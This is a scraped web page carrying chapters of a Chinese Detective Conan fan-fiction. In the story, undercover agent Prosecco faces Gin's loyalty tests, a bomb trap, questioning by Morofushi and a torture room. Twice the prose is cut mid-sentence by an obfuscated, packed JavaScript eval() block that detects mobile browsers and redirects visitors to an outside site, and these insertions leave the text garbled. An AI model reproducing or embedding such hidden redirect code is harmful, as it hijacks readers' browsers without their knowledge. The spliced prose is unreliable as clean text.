$(''.inform'').remove(); $(''#content'').append('' /p> “有需要的话随时联系我,如果你是被炸弹爆炸波及到的话,建议你还是去医院检查一下。” 萩原研二顺手搭上了自家幼驯染的肩膀,他听到这人准确地说出了刚刚的大致事情发展,再加上这人和好友之间的氛围… 他怎么觉得这个人…… 藤紫色的眼眸闪了闪。 “晚上我在那边有事。” 他又看向站在一旁的三人,向对方点了点:“辛苦了,警官先生。” 三位警官同样点头回礼。 “你们两个在那边认识的人?同事?”卷发警官问着另外两个刚刚和竹取无尘对话的人。 “嗯…同事。”降谷零点了点头,他看着手中的东西。 他其实不太清楚该怎么形容那个人。 松田阵平看着这个穿着黑色运动衫走过来,又很快离开的人的背影,和自家幼驯染对视一眼:“你觉不觉得他有点眼熟?” 萩原研二同样在盯着那个离去的背影:“我想起来了,小阵平。” 其余四个人都同时看向了他。 “三年前,有两名来自首的爆炸犯,那两个人好像就是被他带过来的。” “那个还没有被启动的炸弹还是我们两个去拆的,当时我们和犯人了解情况的时候,他就站在后面。” “这件事我记得。”伊达航也想起了当年那件颇为诡异的事情,那是他进入刑事科搜查一课的第一年。 “那两个人最后死在监狱里了。” “死了?” 男人试图再向竹取无尘离开的方向看去,那人已经离开了,只有正在管控街道的警察还在那边工作。 当年那人出现在警局的时候戴着帽子和口罩,所以他刚刚才没有一下就认出来。 如果确实是同一个人的话————他想起当年那两个人自首之后,又突然像睡醒了一样,开始在警局破口大骂。 ———“妈的…没事…我们这样充其量算未遂而已,而且还是自首,总有出来的一天吧。” ———“等我们出来的那天,你们还管得过来吗?” ———“到那个时候,该是我们的,还会是我们的,该死的人,依旧要死。” ———“特别是你们这帮条子。” ———“你们两个说什么呢!这里是警局!伊达,过来管管这两个人!” 他听着前辈的话,上前按住了挣扎的两个人,在这个时候,一旁一直没说话的青年突然开口,但是不是冲着他,那人直勾勾地盯着椅子上被铐着的人,帽沿遮住了脸,他其实根本没看清楚这人长什么样子。 但是他却记住了那段话。 ———“我确实管不过来。” ———“所以,麻烦二位,去死一死好吗?” ———“我看自杀就很不错啊。” ———“你们觉得呢?” 那段声音实在是太令人眩晕,打着旋一样转着进到人的脑子里。 “然后这两个人就真的像他说的那样,一个在撞死在了看守所里,另外一个趁着去卫生间的间隙,溺死在了洗手池中。” “我们详细地调查过,确实是自杀无疑,而这个人除了那天出现过一趟,就再也没有出现在警视厅附近,他的嫌疑是第一个被排除的。” “再后来,我们想深入了解他的资料,被上层和公安部制止了,现在想起来……” 伊达航看向了两位疑似去犯罪组织卧底的同期好友。 对方也是公安啊。 降谷零和诸伏景光对视一眼,两个人都看出了对方眼里的忧虑。 同期好友不知道组织是什么情况,可是他们两个再清楚不过。 如果说出那些话的人真的是竹取无尘……那两个的自杀可能真的和他有关。 在他们的情报范围里,能做到直接操控人自杀的只有一个东西。 组织研发的THK和SPL药物。 虽然听起来药物效果不太一样,不过应该都是精神类的毒物。 三年前,竹取无尘就已经接触过这类东西,甚至还疑似运用药物杀了两个人? 如果以这个为前提,那么当时对方这么肯定自己不会受药物控制就又成了疑点。 他为什么能在不清楚药物作用的情况下,完全肯定他不会出事? 真的是因为他口中的“受过训练”吗? 但是对方至今为止没有做出过什么出格的举动,除了手段不像是公安警察的手段,他做出的所有事情都以保护他人为出发点。 如果这人真的归属于组织的话,他们两个不可能还活到现在。 这人身上到底发生过什么事。 或者他们应该直接去问问他? 正如他说的那样,他们需要信任。 “班长,hagi,松田,我们换个地方说话。” 27.第 27 章 074 【2号据点】 珀洛塞可推门走进酒吧,整个酒吧除了那位银发杀手,空无一人。吧台后的酒保看见他走进,也急忙从后门撤出。 室内光线昏暗,通常作为渲染气氛的背景音乐也暂停,在门被“吱呀”一声关上之后,空气落针可闻。 沉默压了下来。 他看到琴酒斜靠坐在雅座里,带着审视意味地看着他,那把银色伯/莱/塔赤/裸地摆在杀手面前桌子的正中央。 青年眉尾一挑。 这可不能算什么好信号。 他径直走向那人,从口袋中顺出刀刃,放在了枪械的旁边,然后同样往身后的沙发里一靠。 “那么,大人。”珀洛塞可调整了一下自己的坐姿。 “找我什么事?” “一会直接跟我走,你有个任务。”琴酒没有理会对面人放刀在桌子上的举动,他直接回答了问题。 “一会?”青年稍微俯身前倾,“没有资料?不给我一点准备的时间?一会又是多久?” “你很需要这些东西吗?” 杀手抬眼看了一下挂在墙面上的钟,朝着一边的监控摄像头示意了一下,另一侧的门中走进来一位面无表情,甚至是毫无生气男人。 “五分钟后出发,现在,把你身上的所有金属制品拿出来。” “你最好不会私藏什么通讯设备。” 珀洛塞可看着那个被毁掉精神画布的男人拿着金属探测仪站在他身边,笑容依旧没变。 琴酒想从他这里试探出一点什么。 他起身,叮叮当当地从衣服的不同位置中摸出一堆各种不同的刀片,那部翻盖手机也同时被他拿出,一并放在桌子上。 金属探测仪平稳地扫过周身的每一个角落,并没有响起,表示这人身上确实不存在其他的武器和装备。 “然后呢?”珀洛塞可重新坐下,打量着一边毫不避讳地检查自己手机的那人,“怎么,大人,暗恋我啊?查我有没有谈恋爱?” “我要真是叛徒,消息也不可能明目张胆放在手机里吧。” “嗤。”杀手冷冷地一笑,手机被“啪”一声合上,“把你的刀全部收拾好,跟我走。” “这个东西。” 那人晃了晃手机,随即将它甩在桌上,抄起一旁的伯/莱/塔,对着那尚在滑行的设备扣下扳机。 一声枪响,设备上出现一个弹孔,冒着些许的火花,彻底报废了。 “………” 珀洛塞可一言难尽地看着自己的手机在琴酒手上归西:“我要是真是叛徒,你这就是在毁灭证据。” “你如果真是叛徒,这个弹孔同样会出现在你脑门上。”杀手整理好衣服,没有看一边的人,放好了自己的枪支。 “跟上。” 青年藏好最后一只刀片,长叹一口气,跟上了对方。 “好的,琴、酒、大、人。” 075 没想到自己有一天还能有这种待遇。 珀洛塞可坐在保时捷365A上,转头看了一眼正在开车的琴酒,又转头回来,把视线对向了窗外越发荒凉的景色。 刚刚他和这人一出门,对方没给他说话的空隙,直接走向了驾驶座,而他也顺理成章地坐上了副驾驶。 是的,组织鼎鼎大名的top killer现在是司机。 青年觉得这一幕有点好笑,但是转念又思考着今天晚上对方的行动缘由。 酒吧里没有多余的人物,伏特加不在,表明任务机密等级很高。 自己的手机被检查过,然后被琴酒一枪销毁,甚至自己是直接和琴酒一起去任务现场,表明对方不给自己任何和外界联络的机会。 琴酒在怀疑什么。 那么事情就很合理了,毕竟如果换成是他,他也不敢把方向盘交给一个疑似卧底或者叛徒的人,不然对方直接鱼死网破,油门踩死连车带人往墙上一撞怎么办。 如果这人真的怀疑上了自己———那自己是哪件事出了纰漏? 他不清楚。 车辆七拐八绕地穿行,霓虹灯光闪烁。 不过接下来的任务,看起来他必须好好思考对策。 想到这里,青年直接询问了他的任务状况:“所以我需要干什么呢?” “有个交易对象,需要你杀了他。”杀手依旧没有转头看向一旁坐着的人。 “带着尸体过来见我。” 尽管没有人抽烟,但是车内依旧有尼古丁的气味留存。 “就这么简单?”青年的心沉了沉,但是没有在面色上表现出来。 既然任务简单,那就表明这是在试探立场,明明他在THK药物下的回答是自己完全归属于组织,但是很明显琴酒现在不信任他。 所以琴酒并不完全信任药物控制。 那么要杀的人的立场就非常值得探究,这很大程度可以帮助他推测琴酒目前怀疑自己属于哪方。 “就这么简单。”杀手转动了方向盘,然后稳稳停在了一边。 从这里可以视野完好地看见对面楼栋房门口的开放式走廊。 男人示意珀洛塞可下车,朝着对面的位置抬了抬下巴。 “那栋楼三楼,最东边的那一间。” 青年望向那栋四层楼高的楼房。 “这个东西,戴好,全程保持畅通。” 一只蓝牙耳机被甩进了珀洛塞可的手里,他侧头戴好固定,问道:“就算你不告诉我任务目标到底是谁,也起码讲一声对方的样貌特征吧。” “杀错人无所谓,打草惊蛇就不好了。” “白人男性,身高175上下,金发蓝瞳,右手臂有胎记。” 杀手看向对面人正用自己的衣角擦拭着自己的刀刃。 “好。” 青年双手揣在口袋里散漫地离开,仿佛只是去做一件再平常不过的事情,留给了杀手一个远去的背影。 琴酒沉默地看着那人走近楼,从车的后备箱中拿出狙击枪架好,狙击镜对准了刚好走到门口的青年。 那人脚步猛一顿,转头看向他所在的方向,视线穿越一整条坡道,那双和三年前雨夜一模一样的黑色瞳孔在浓重的夜里更加晦暗不明,他直直地透过狙击镜和他对视。 “大人。” 耳机中传来的声音有点失真。 “你要杀了我吗?” 还没有等他回话,又传来一阵不明的笑声,他看见那人最后望了他一眼,说了点什么,无视枪械继续走上了楼梯。 那人说:“随你吧。” 由于进了室内,声音变得闷沉,楼道里是声控的白炽灯,脚步声踩亮了不算稳的灯光,不用狙击镜也可以知道他目前走到了哪里。 珀洛塞可根本就不怕他真的开枪。 琴酒眯起眼,把枪口转向对准了任务目标所在的房门口,又再一次看着青年出现在视野内,打开房门走了进去。 身影消失,门突然被“砰”一声关上,耳机里随后又传来声音———这次的语气却完全不一样。 “我说,琴酒大人。” “这个任务在组织里过了多少人的手啊。” 信号不太好,本就失真的声音更加模糊,杀手架在狙击枪上的手转而放在耳边,扶了扶耳机,说道:“怎么,交易对象跑了?” “何止是跑了。” “人影没见到,炸弹倒是有一个。” “我这条命这么多人惦记啊。” 琴酒动作一滞———这个任务本来是给他一个人完成的。 “炸弹?” 076 对的,炸弹。 珀洛塞可刚刚顶着琴酒的狙击枪进了任务目标的房间,房门机关一下被触发,将人反锁在了屋内。 他正想去看一下是什么机关,就被房间内摆着的一个装置吸引了注意。 两侧玻璃内的液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463904|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体折射着室内的光,中间的倒计时从一分十五秒一声一声地往下掉,红的蓝的各种颜色的线在中间绕成一团———不是炸弹是什么。 好消息,既然这里会有这么个炸弹的话,就代表交易对象不会是公安的人,接下来他可以放心做这个任务。 “液/体/炸/弹,带有遥控装置,这种遥控装置的发讯范围不超过三十米,如果你真想杀了这个交易对象,我建议你盯着附近。” 他当时根本没有在意这附近有没有人,他的注意力全在琴酒那把该死的狙击枪上。 “你还真是尽职尽责。” 杀手的声音传出,不知道是不是错觉,他总觉得琴酒的声音带着一点冷意。 “一楼有人,不过这是你的任务。” “珀洛塞可,你得尽职尽责到底。” 这话让正蹲着的检查炸弹的珀洛塞可微微蹙眉。 琴酒现在明明可以直接杀了对方,但是对方的意思却是这一整件任务都交由他来处理。 所以那把狙击枪就是为杀了他竹取无尘准备的。 之前做的哪个任务出了问题? 青年站起,环视了一整圈这不过二十多平米的屋子,这种地段的废弃房屋应该曾作为低价出租屋使用,所以基本没有窗户,只有一块直径三十厘米的排气扇。 换言之,如果想要杀死房间内的人,狙击枪根本不起作用,而现在除了门,根本就没有出去的地方。 “那我一定好好完成任务,大人。” “我可不想出去了还要面对你那把狙击枪。” 他走到门边,看着面前的机关。 这个炸弹他一分钟内搞不定,但是这个门…… 什么年代的老旧机关也敢妄想关住他。 当年他在训练基地拆过的最简单的锁都能秒了设计这个机关的人。 原来如此——所以琴酒和伏特加当时把他丢进禁闭室的时候,才这么怕他跑了吗。 倒计时四十秒。 “你最好死在里面。” “真抱歉啊。”珀洛塞可抽出手术刀,反手撬开了机关的面板。 “在这件事上,你得失望了。” 倒计时二十五秒。 金属质的大门被里面的人一脚踹开,身后突然加速的倒计时声让青年瞳孔一缩。 倒计时骤降至五秒。 “啧。” 青年不耐地抿了抿唇,想着这人是有多想杀了他,甚至一直在楼附近蹲守确认他是否被爆炸波及。 不清楚爆炸的范围如何,但是如果一楼那个人就是任务对象的话,一楼就有很大概率是安全的。 只剩五秒钟的话,最好还是不要走楼梯了。 三楼,他探身看向楼下的草坪。 “轰———” 珀洛塞可应身落地,翻滚卸力之后稳稳站起,地上湿泥为他挡了不少伤害。 他回头,整个三层基本被移平,而往上的楼层也因为被破坏了主要支撑结构,开始往下塌陷。 刚刚亮着的灯尽数熄灭,黑暗中,他感知到有个人正在往楼背后移动。 “抓活的,珀洛塞可。” “他要是死了,你就是叛徒。” 青年快速跟上了那人的行踪,手上直接换成了更易飞出的刀片,勉强用手背稳了稳快掉下的耳机:“你要求好多啊。” “下次要抓活的你能不能提前说一声。” “只用刀的话,难度———” 面前追踪的人眼看着躲不开追杀,直接转身朝着青年连开数枪,左眼却突然一花,一道亮白色的光直冲进眼睛。 血液飞溅。 琴酒只听到耳机对面的人话语一断,在数声枪响过后,只剩下了男人惨叫的声音。 “任务完成了,把你那把该死的狙击枪收起来。” “看起来只用刀难度也不算很大嘛。” 那人在一段时间过后,接着被打断话说道。 28.第 28 章 077 琴酒看着珀洛塞可拖拽着一个已经晕过去的人回到车前,浓重的血腥搅乱了夜晚草地独有的气味。 他俯身检查,被拖回来的那人确实是交易对象没错。 “别看了,没死,晕过去了而已。” 青年一直维持着的笑容不见了,代替的是不少腥红血迹,顺着半边脸颊往下躺,他的手一松,地上那人的半边被拽起来的身子闷声砸在了草地上。 杀手看着交易对象被扭曲的右手,挑了挑眉:“晕过去了?” “他太吵了。”珀洛塞可试图用袖口擦拭脸上的液体,却越蹭越花,只好索性放弃。“我把他枪踢飞之后,他还想去捡,扭了他一只手就一直在鬼叫,让他安静一会罢了。” “检查过了,没服毒,大活人。” 他撇了一眼那把刚刚瞄着自己的狙击枪。 “要杀我就快点杀,不杀就把你这破枪收起来。” “虽然不知道哪里惹到你了,但是我刚被炸弹轰了一发回来,心情也很不好啊。” “你好像很确定我不会杀了你。”那把枪现在被架在了一边的车顶,没有收起,琴酒一脚踩上了地上人的身子,手指有一搭没一搭地在枪支上敲击着。 “我说的是你要杀就随便杀。”青年走去了车的另一侧,话语在这里顿了顿。 “不过我能不能被你杀死,那就看你的本事了。” “你怎么做,是你的事,我怎么应对,那就与你无关了。” 杀手仿佛听到了笑话一样地嗤笑一声,他看着车另一侧那个想直接打开副驾驶座车门的人,突然把架在一边的狙击枪转向,朝着那人的方向扣下扳机。 嗡鸣声。 珀洛塞可迅速侧身,子弹擦着耳边过去,没有伤口,但尖锐的耳鸣依旧吵得青年闭了闭眼,那好歹是一把狙击枪——近射程下威力比手枪大多了。 他看向琴酒,对方依旧裹着一袭黑衣,这种没有月色的秋夜是最适合对方的时节。 “然后呢?”他没太听清楚自己的话,感觉嗓子发出的音节离耳朵很远,耳鸣还在持续。 那颗子弹其实并没有准确朝着致命点击来。 杀手没有回答这句话,冷绿的眼眸中闪过一丝思量的神色,把狙击枪丢回了后备箱,踢了踢脚下的人:“把这人拖进车,回去了。” 青年眉头微动,看着对面那人已经又坐进了驾驶座,他总觉得琴酒有话没说完。 也就是说目前这人依旧在怀疑他。 珀洛塞可又走回任务目标的一边,把人丢进后排,和来时一样重新坐回副驾驶。 多疑的人真的很麻烦。 078 琴酒把车开回了之前的酒吧据点,离开之前那人点了支烟,让他讲明白他在房间里看见的那只液/体炸/弹的具体情况。 等青年报告清楚,夜色已经浓得化不开,深秋潮湿的寒意些许刺骨,这座城市沉睡在厚重的雾气里。 他拿着组织给自己的新手机,回到安全屋楼栋附近,看见有人站在冒着寒意站在楼下,显然已经等候多时。 是竹取无尘今天下午才刚刚见过的诸伏景光。 “在等我吗?”一个显而易见的问题,他用来作为今晚的开场白。 诸伏景光微微笑了笑:“有些事情当面说更好一点,知道你晚上有任务,没敢给你发消息。” “其实你给我发了消息我也回复不了。”竹取无尘和对方一前一后地上着楼,打开房门示意对方先进。 “我手机被琴酒打穿了。” 猫眼青年走进屋,听到这话,转头看向身后开灯的人:“怎么回事?” “不知道哪里被怀疑了,不过没事,我能处理。” 诸伏景光的神色凝重了些,他正色道:“万事小心。” 哪怕不受药物挟制,也不代表就不会出事了。 一天之中最黑的时候恰好是黎明前。 “没事的没事的。”竹取无尘倒了两杯水摆在桌上,把其中一杯推到了对方面前,然后拉开椅子坐了下来。 “降谷没事吧?” 诸伏景光接过水杯,坐在青年的对面,听到这话,摇了摇头道:“已经检查过了,没什么大碍,原本想让他在医院住两天观察一下,不过看他这个势头,应该是住不满两天了。” 如果是降谷零的话,那太合理了。 “这样啊……”青年拿起水杯泯了一口,润了润喉,直接进入了主题:“所以是有什么情报要告诉我呢?” 还是一样不喜欢兜圈子。猫眼青年看着对面的人,对方身上依旧存留着硝烟味,不难猜出他今天晚上去干了什么。 “中岛本木目前已经安排暂时出国,之前我们那个任务完成得很好,我还没来得及谢谢你。” 如果没有竹取无尘把解药弄到手,那么他们三个都只会是这场任务的耗材。 “国/安部已经发现有政府官员被下毒,经查验,毒物和THK药物的主要成分差不多。” 青年听到这里,想到了组织大部分接触的官僚,冷声道:“野心真大啊。” 诸伏景光颔首:“没错,组织在政府的党羽及其壮大,体系复杂,他们的目的绝不止于目前的涉/黑这么简单。” “被下毒的人员多吗?” “只有两位,官职不算高,但是涉及到药物出□□易,我们猜测组织可能是想用这两个人试水,毕竟现在大部分组织与官员的接触都还是以利诱为主。” 竹取无尘:“不能让他们在这两个人身上看到机会,不然真就要乱套了。” 你敢想象一个国家的高层官员听令于一个犯罪组织吗? “警察厅那边已经安排人保护了,会对外宣称这两个人长期因病告假,解药正在解析仿制中,组织看上的那条出口贸易线也被交给了能信任的企业负责。” 总之就是让组织的行动完全失败了。 “那这帮人应该会消停一段时间了,毕竟发现用下毒的方法反而适得其反。”青年看着对面的人,“但是可能也只会消停一段时间,毕竟不是所有人被下了毒都能查得出来的。” “解药仿出来就好了,毕竟维洛现在也在警察厅里,说等确保药物没问题了,公安再把他送出去。”诸伏景光垂了下眼,他其实觉得这个做法不太稳妥,毕竟谁也不知道高层有多少组织的人,但是这确实是目前最快的做法。 “所以,竹取。”他重新抬眼,看着对面青年的黑瞳。 “你也觉得完全用药物完全控制一个人是可能的对吗?” 竹取无尘下意识在桌上画圈的手指一顿。 “怎么突然问这个?” 他面色不变地和诸伏景光对视,那双湛蓝色的瞳孔依旧是白天那样的光芒。 “你想说什么不妨直说。” “三年前。”猫眼青年站起,双手撑着桌子微微俯身,挡住了部分灯光。 “竹取,三年前,你带着两名爆炸犯去自首,后来那两个人如你所说地在警视厅里面自杀,你都做了什么?” “为什么你的资料干净得可怕,除了必要的学业经历,其他的全都是空白?” “你的身手不差,为什么警视厅学校里面你的同期对你基本没有印象?” “你的国中班主任、高中班主任、大学导师,为什么对你的评价全部都是『好像是有这个人』?” “你26岁,但是警视厅中根本查不到与你有关的社交圈子,还是说,有人粉饰修改了你的所有社会关系?” “你应该知道这些都是间谍特工的常用手段。” “你的那位故人是谁?你为什么会受这么多伤?你的手段不像是警视厅学校里能教出来的。你说你受过训练,什么地方会出现精神控制方面的训练?” “你是谁?” 气氛有一瞬间的紧绷。 但是竹取无尘只是看着对方,眨了眨眼。 不是他不说话。 他真不知道自己该说什么。 他能说什么?说自己对着自己开了一枪然后穿越了,说自己是阿蒂斯的特工? 而且三年前、又是三年前、到底谁来告诉他三年前到底发生了什么! 都说了三年前他一醒来就躺在废墟里了! 陈无可能知道的都比他多啊!不过那个人什么都不告诉他!最后他就带着一堆谜语嘎嘣一下死了! 不过按照诸伏景光的说法———什么叫有人如他所说地死在了警视厅。 如果没猜错的话,如果那 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“我的故人是确实特工,他属于哪个国家和机构我不能告诉你,他已经死得不能再死了,他不重要。” “我受过的训练和他有关。” “我没有为任何别的地方服务,我属于警视厅,我和你是同事。” “至于其他的问题。” 青年在这里一顿。 “不是我不告诉你,而是我自己也不清楚。” “抱歉诸伏,因为我失忆了。” “三年前的事情,我确确实实记不得了。” 他又突然感受到了按在自己脖颈上的手指用了下力。 诸伏景光皱了下眉头,沉声道:“你失忆了?” 千真万确的话。 竹取无尘点了下头,弯了弯眉眼:“失忆了,但是没关系吧。” “那一些缺失的记忆改变不了我。” “而你一直以来认识的,就是真实的我。” “这个答案你喜欢吗?警官?” 心率一直很平稳。 诸伏景光看着对方松开了一直拽着自己的手,向着两侧举起,而自己的手指依旧停留在对方的大动脉上,这意味着他只需要稍微用力,或者换一个姿势,就能轻而易举地杀死手下的人。 这人把命放在了自己手上。 他真的很喜欢用命来换取信任,不管是自己的命,还是别人的命。 猫眼青年放下了自己的手,重新坐回椅子上。 “你又何必这么激烈。” 他当然知道这个人之前做了多少事情,其实只单单他拿了THK解药这一件事就足够证明他的立场。 竹取无尘也放下举着的手,在桌子上撑着自己的脑袋朝诸伏景光笑道:“因为这样最高效。” “不过警官,下次你审人还是带把枪,我要真的是———” “因为我信任你。” 不轻不重的话语落在地上,却让竹取无尘止住了话语。 他又再一次看向了对方的猫眼,那真实的蓝不掺杂一点其他的色彩。 “因为我信任你,所以我才没有带枪,竹取。” “谢谢你愿意回答我的问题。” 诸伏景光觉得对方说的都是真话。 竹取无尘歪头,他说:“不客气。” “这些话我能原句转达给zero吗?” “随便你哦,诸伏。” “所以你为什么会失忆?” “我要是知道了自己为什么会失忆那还叫失忆吗?” 诸伏景光一咽。 好有道理。 手机信息的声音打断了两个人的对话。 【手机通讯】Gin:明天上午十点,2号据点。 “任务?”诸伏景光拎出来一袋他刚刚下楼买回来作为赔罪的零食,看着竹取无尘回复着消息。 “不清楚。”青年想到今天琴酒的举动,觉得这件事果然没有了结,“今天的任务抓回来一个活口,不过不清楚是哪边的人,要等明天再看看。” 【手机通讯】Prosecco:收到。 29.第 29 章 079 【“阿蒂斯边境交战区”】 其实现在应该撤离。 还有二十分钟就会有能量紊乱风暴过境,但是这是窃取情报最好的时机。 毕竟没有人敢在这种规模的风暴里待着,如果引发了精神力紊乱,那会发生什么就完全是未知数。 而他也只是路过而已。 但是老鼠路过了粮仓不都得进去吃两口,更何况还是无人看守的粮仓。 数据在面前的流淌。 军火交易信息,人员资料,物资储藏地点。 还有什么,他还可以获取什么。 【突袭作战计划书】 【定点清除部署方案】 操控大屏的手一顿,随即他按动了联络那人的设备。 “陈无,猜猜我在哪里,猜猜我发现了什么。” “时间不够,我要把这两个东西破解了然后发出去。” “我走不了了,记得来把我捞回去,卡好时间,别让瑟克尔党的人抢先了。” “我当然你知道你有数。” 两份近乎是屠城的计划。 数据流发送成功。 世界是漫无边际的黑。 “你找到了?”那少年抢先一步上来查看了他的伤势。 扎着高马尾的男人拦住了红瞳少年:“运气不错,没受伤,就是失忆了而已。” “…什么意思?” “字面意思。”男人仔细检查着废墟上躺着的人,确定没有了别的问题,“风暴引发异能紊乱,精神画布在更迭的时候出了问题,简而言之,原画布被空白画布叠加覆盖了。” “我能恢复。” “你不能。”男人摇头,“你应该知道像我们这种身份的人,精神画布被外力强行更改攻击会出现什么后果。” “只能看看以后有没有机会想起来,不过要是想不起来……也没多大事。”他的肩膀被那人晃了晃,“别睡了,该醒了。” 一睁眼,他看到的就是那人漆黑的瞳孔。 “下午好,竹取无尘。”男人笑着看着他,“不说一句Hello World吗?” 他觉得天好亮。 而面前这个男的好有病。 080 竹取无尘猛一下坐起,清晨的光亮透过了窗帘缝洒在被子上,他就着这微弱的光看向自己的手。 这些记忆是……? 回忆乱七八糟叠在一起,一抽一抽地跳。 昨天晚上诸伏景光问自己的问题又闪现在眼前,其实他们都清楚,一位受过精神方向训练的特工不可能没有被训练过受审时的心跳以及微表情控制,对方要是纠结起来,他真的没有办法说清楚。 信任是一切的底色。 青年看了一眼一旁的时钟,时针还未到短信中定下来的时间点,他又想到琴酒那从昨天开始就没完没了的试探。 今天还有事情要做。 哈哈,他真的太喜欢上班啦。 竹取无尘揉了揉抽着疼的后脑勺,打开电脑给桐生晴发去一封报告,简单说明了一下情况,然后开车出门,回到自己十二个小时前才离开的酒吧据点。 青年推门进入,酒吧不像昨晚那样晃着让人昏昏欲睡的暖光,冷色的自然光从排气扇里透进来,他看着那个昨天拿着金属探测仪的人站在暗门边。 “珀洛塞可大人,请往这边走。” “琴酒大人在等您。” 他跟着这人往深处走,几乎是一个地下室的地方,铁锈味爬满了周身,这个地方相较于他之前去过的所有组织的医疗点或者是实验室都更加的老旧。 他在一道明显是带有金属探测的大门前驻足。 “大人,这里不允许出现金属设备。” 珀洛塞可面对这个情况沉思了半晌,他似有若无地闻到了前方的房间里传来了血腥味。 那这里是个什么地方也就昭然若揭。 这个组织总是把自己藏在冷白色的实验室和让人眼花缭乱的药物下,看起来精密高端,实际上撕开最上面的这一层皮,不过都是最原始最恶心的手段。 真是令人反胃。 他直接把藏着一堆刀片的外套一脱,丢在一旁,新到手的手机也被一同放在外套上,他只告诉了诸伏景光一个人今天他会出现在这里,如果他出不来,没有按时联系诸伏景光,那人就会直接通知警视厅上级,迅速封锁所有和他有关的消息,特别是THK药物有关的事情。 今天他就能知道琴酒这人到底在怀疑什么了。 珀洛塞可顺利通过了金属探测,按照门口那个男人的说法,直接走到了琴酒所在的房间,里面传来的惨叫声让他眼神一凛。 审讯室好歹还带个审字。 这地方是个彻头彻尾的刑讯室。 怎么会有这么多叛徒和卧底的,现在他真的很想知道这个组织的具体规模到底有多大,这帮人又用药物反向利用叛徒和卧底获取了多少情报。 青年感觉自己一阵牙酸,开始思考在没有太多武器的情况下,自己杀了琴酒逃出来的胜算有多大。 答案是不大,他可不信琴酒那人会不带着枪。 但是既然琴酒没有直接举着那把狙击枪把他逼进来,就代表他是否还有哪里不确定。 不过这个人竟然是那种一定要确定了才会动手的人吗? 他还以为在琴酒的世界里,只要有嫌疑,那就等同于罪名成立。 这人是想试探什么?还是有什么顾虑? 他站在了门侧的扫描仪面前———如果不进去,他就永远都不会知道答案。 当年那个人也明知道是陷阱,但他还是转身出门了。 那天之后他就再也没回来。 等他再见到他的时候,那人已经…… 秃鹫在啄食腐肉。 【代号成员Prosecco,验证通过。】 一地的粘腻。 他踩着血走进这个昏暗的房间,乱七八糟的气味刺激着肺。 珀洛塞可眯了眯眼,地上不成人形的两个人试图抓住他的裤脚,他侧头,一旁的杀手破天荒地没有穿那件黑色大衣,白色高领内搭溅上了不少血,双边的袖口被随意挽在肘间,那人正用着手帕擦拭着手上的血渍。 察觉到刚进来这人的视线,琴酒抬眼,冷盯着青年的衣领处。 “我以为你起码会把你领子下那两片陶瓷刀片取出来再来见我。” “只是说不能带金属吧,大人。”珀洛塞可退开两步,靠上了身后的门,稍微远离了地上尚有喘息的两人,他朝着对方示意了一下,“而且你这弄得也太难看了。” “拿出来。” 带有命令色彩的话和子弹破空的声音一起传来,不过那枚子弹并没有朝向他,而是朝着地上那个睁不开左眼的人的腿部击去。 又是一声惨叫。 杀手无视了噪音,依旧冷声道:“有没有人说过你转移话题的技术很差。” 珀洛塞可听着这话,脸色沉了些,整个刑讯室由为逼仄,背后的门上了锁,开锁起码需要二十秒,没有窗户,自己身上能保证快速杀人的东西也就只剩下这两只锋利度不高的陶瓷刀片,把这两只东西交出去以后,自己难道要用口袋里那只圆珠笔和子弹比速度吗? 交出去,那就还有机会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479296|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不交出去,那就是彻底翻脸,行动失败。 虽然解药也到手了,行动有诸伏景光他们,他活不活不重要———但是自己才刚刚复活了大半年,目前他还不太想在这种情况下殉职。 活着出去才能救人。 青年伸手拿出了领子下的两只刀片,手腕一沉,刀片随即飞出,擦着琴酒的银发钉在了墙面。 那人侧眼看了一眼墙上的刀,带着不少嘲弄的意味:“我想肯定也没有人和你说过,你喜欢把刀往墙上钉的习惯很不好吧。” “你到底想说———”珀洛塞可说话的声音突然一顿。 那天晚上,那把飞向了赤井秀一的刀,钉在了墙上的那把刀。 他好像知道问题出在哪里了。 “呵。”青年嘲讽一笑。 看这个情况,对方没有怀疑到自己的公安身份,在昨天那场任务的情况下,琴酒更像是试探自己是否和地上那两个人是一伙的。 这就够了。 “怎么不接着讲了?”琴酒朝他走来,手上依旧把玩那只银色的枪械。 “这取决于你想问我点什么。”青年揉了揉鼻梁,整理了一下思路。“不是都猜到了吗。” “不解释一下你那天晚上去那里干什么?” 金属枪管被杀手拿着由下至上抵住了青年的下颚,这一次珀洛塞可丝毫不怀疑对方的杀意。 背后没有退路,他只能顺着枪支的力道抬头,对上了琴酒冷绿的眸子。 “我能去哪,大人,你话得说明白吧。” “你觉得你装傻有用?”杀手持枪的手微微用力,逼得对方不得不再仰头,“你面前这两个人一开始也想装傻。” 珀洛塞可伸手抓住了面前人的手肘,把那柄抵着自己的枪往下拉了些,恢复成了一个比较舒服的姿势:“就算我去过那个实验基地又能怎么样?这些人你都审过了吧,很遗憾吧,我好像不是他们的人啊。” “波特酒是你丢到019基地的。” “因为他也想要解药,我和他合作一下很合理吧。”青年的声音微沉,“然后那个蠢货阴了我一把,密码问不出解药拿不到不说,见杀不了我,反手把基地炸了。” “反正他也没有解药,我甚至都懒得杀了他,痛死也是活该。” “怎么琴酒,你就要因为这个杀了我?”他歪了歪头,“你还真是忠诚啊,明明我帮你给朗姆那人找了这么大一个麻烦。” 琴酒抽出自己被拽着的手,看着面前这人。 